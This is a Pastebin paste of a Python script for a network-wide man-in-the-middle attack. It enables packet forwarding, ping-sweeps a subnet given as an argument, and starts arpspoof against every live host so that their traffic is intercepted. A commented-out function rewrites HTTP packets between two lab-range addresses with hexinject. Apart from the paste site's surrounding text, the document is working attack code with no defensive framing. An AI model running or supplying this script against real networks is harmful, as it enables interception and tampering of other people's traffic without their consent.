Advertisement
Guest User

Untitled

a guest
Oct 22nd, 2018
80
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.83 KB | None | 0 0
  1. import signal
  2. import subprocess
  3. import sys
  4. import threading
  5.  
  6. def enable_packet_forwarding():
  7. args = "sysctl -w net.ipv4.ip_forward=1".split()
  8. subprocess.run(args, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
  9.  
  10. def do_fping_sweep(network):
  11. args = f"fping -aq -g {network}".split()
  12. p = subprocess.Popen(args, stdout=subprocess.PIPE)
  13. preprocessed, _ = p.communicate()
  14. return preprocessed.decode().strip().split()
  15.  
  16. def get_own_ip():
  17. args = "hostname -I".split()
  18. return subprocess.check_output(args).decode().strip()
  19.  
  20. def spoof(target):
  21. args = f"arpspoof {target}".split()
  22. subprocess.Popen(args, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
  23.  
  24. def inject():
  25. args = "hexinject -s -i eth0 -f 'src 192.168.56.102 && dst 192.168.56.101 && tcp && dst port 80' | awk '{ $37="00"; $38="35"; print }' | hexinject -p -i eth0".split()
  26. p = subprocess.Popen(args, stdout=subprocess.PIPE)
  27.  
  28. def signal_handler(s, f):
  29. print("\nCleaning up..")
  30. sys.exit()
  31.  
  32. if (__name__ == "__main__"):
  33. network = sys.argv[1]
  34.  
  35. enable_packet_forwarding()
  36.  
  37. print("Performing ping sweep to get reachable hosts..")
  38.  
  39. hosts = do_fping_sweep(network)
  40. hosts.remove(get_own_ip())
  41.  
  42. # Spoof all hosts on network
  43. print("Starting ARP spoof..")
  44.  
  45. for target in hosts:
  46. print("Traffic to " + target + " is now intercepted..")
  47. t = threading.Thread(target=spoof, args=[target])
  48. t.start()
  49.  
  50. print("CTRL+C to exit..")
  51. # Starting to inject
  52. #print("Starting to inject..")
  53. #t = threading.Thread(target=inject, args=[])
  54. #t.start()
  55.  
  56. signal.signal(signal.SIGINT, signal_handler)
  57. signal.pause()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement